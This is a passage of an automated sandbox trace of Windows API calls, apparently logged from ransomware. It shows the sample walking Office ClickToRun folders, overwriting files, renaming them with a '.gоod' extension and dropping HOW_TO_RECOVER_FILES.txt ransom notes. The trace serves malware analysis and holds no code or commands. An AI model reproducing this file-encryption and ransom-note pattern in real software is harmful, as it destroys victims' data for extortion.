"c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0073.460] GetFileType (hFile=0x6b4) returned 0x1 [0073.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0073.460] GetFileType (hFile=0x6b4) returned 0x1 [0073.460] WriteFile (in: hFile=0x6b4, lpBuffer=0x3373390*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10fa5d8, lpOverlapped=0x0 | out: lpBuffer=0x3373390*, lpNumberOfBytesWritten=0x10fa5d8*=0x1010, lpOverlapped=0x0) returned 1 [0073.460] CloseHandle (hObject=0x6b4) returned 1 [0074.297] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0074.297] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.gоod", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.gоod", lpFilePart=0x0) returned 0x71 [0074.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa510) returned 1 [0074.297] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x10fa5f0 | out: lpFileInformation=0x10fa5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x2880079f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x38481a)) returned 1 [0074.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa4d0) returned 1 [0074.298] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat.gоod")) returned 1 [0074.658] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0074.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0074.674] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0074.684] GetFileType (hFile=0x768) returned 0x1 [0074.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0074.684] GetFileType (hFile=0x768) returned 0x1 [0074.685] WriteFile (in: hFile=0x768, lpBuffer=0x32b2e90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x32b2e90*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0074.686] CloseHandle (hObject=0x768) returned 1 [0074.686] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x61 [0074.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0074.686] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0074.686] GetFileType (hFile=0x768) returned 0x1 [0074.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0074.686] GetFileType (hFile=0x768) returned 0x1 [0074.687] WriteFile (in: hFile=0x768, lpBuffer=0x32b6768*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x32b6768*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0074.688] CloseHandle (hObject=0x768) returned 1 [0074.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0074.688] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpFilePart=0x0) returned 0x48 [0074.688] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0074.689] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.689] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0074.689] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0074.689] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0074.689] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0074.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0074.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0074.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0074.690] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpFilePart=0x0) returned 0x48 [0074.690] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0074.690] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.690] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0074.690] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0074.690] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.690] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0074.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0074.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0074.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0074.691] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16", lpFilePart=0x0) returned 0x51 [0074.691] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0074.692] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.692] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x39768000, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0074.692] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1 [0074.692] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0074.692] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.693] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0074.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0074.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0074.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0074.693] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16", lpFilePart=0x0) returned 0x51 [0074.693] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0074.694] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.694] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x39768000, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0074.695] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1 [0074.695] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0074.695] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0074.695] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0074.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0074.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0074.696] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0074.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0074.696] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x32d5000 | out: lpFileInformation=0x32d5000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x39768000, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x564f)) returned 1 [0074.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0074.698] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0074.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0074.698] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0074.698] GetFileType (hFile=0x768) returned 0x1 [0074.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0074.698] GetFileType (hFile=0x768) returned 0x1 [0074.698] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x1000 [0074.698] ReadFile (in: hFile=0x768, lpBuffer=0x32d54e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa578, lpOverlapped=0x0 | out: lpBuffer=0x32d54e8*, lpNumberOfBytesRead=0x10fa578*=0x1000, lpOverlapped=0x0) returned 1 [0074.700] CloseHandle (hObject=0x768) returned 1 [0074.700] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0074.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0074.700] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0074.700] GetFileType (hFile=0x768) returned 0x1 [0074.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0074.700] GetFileType (hFile=0x768) returned 0x1 [0074.700] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x564f [0074.700] WriteFile (in: hFile=0x768, lpBuffer=0x32d6c50*, 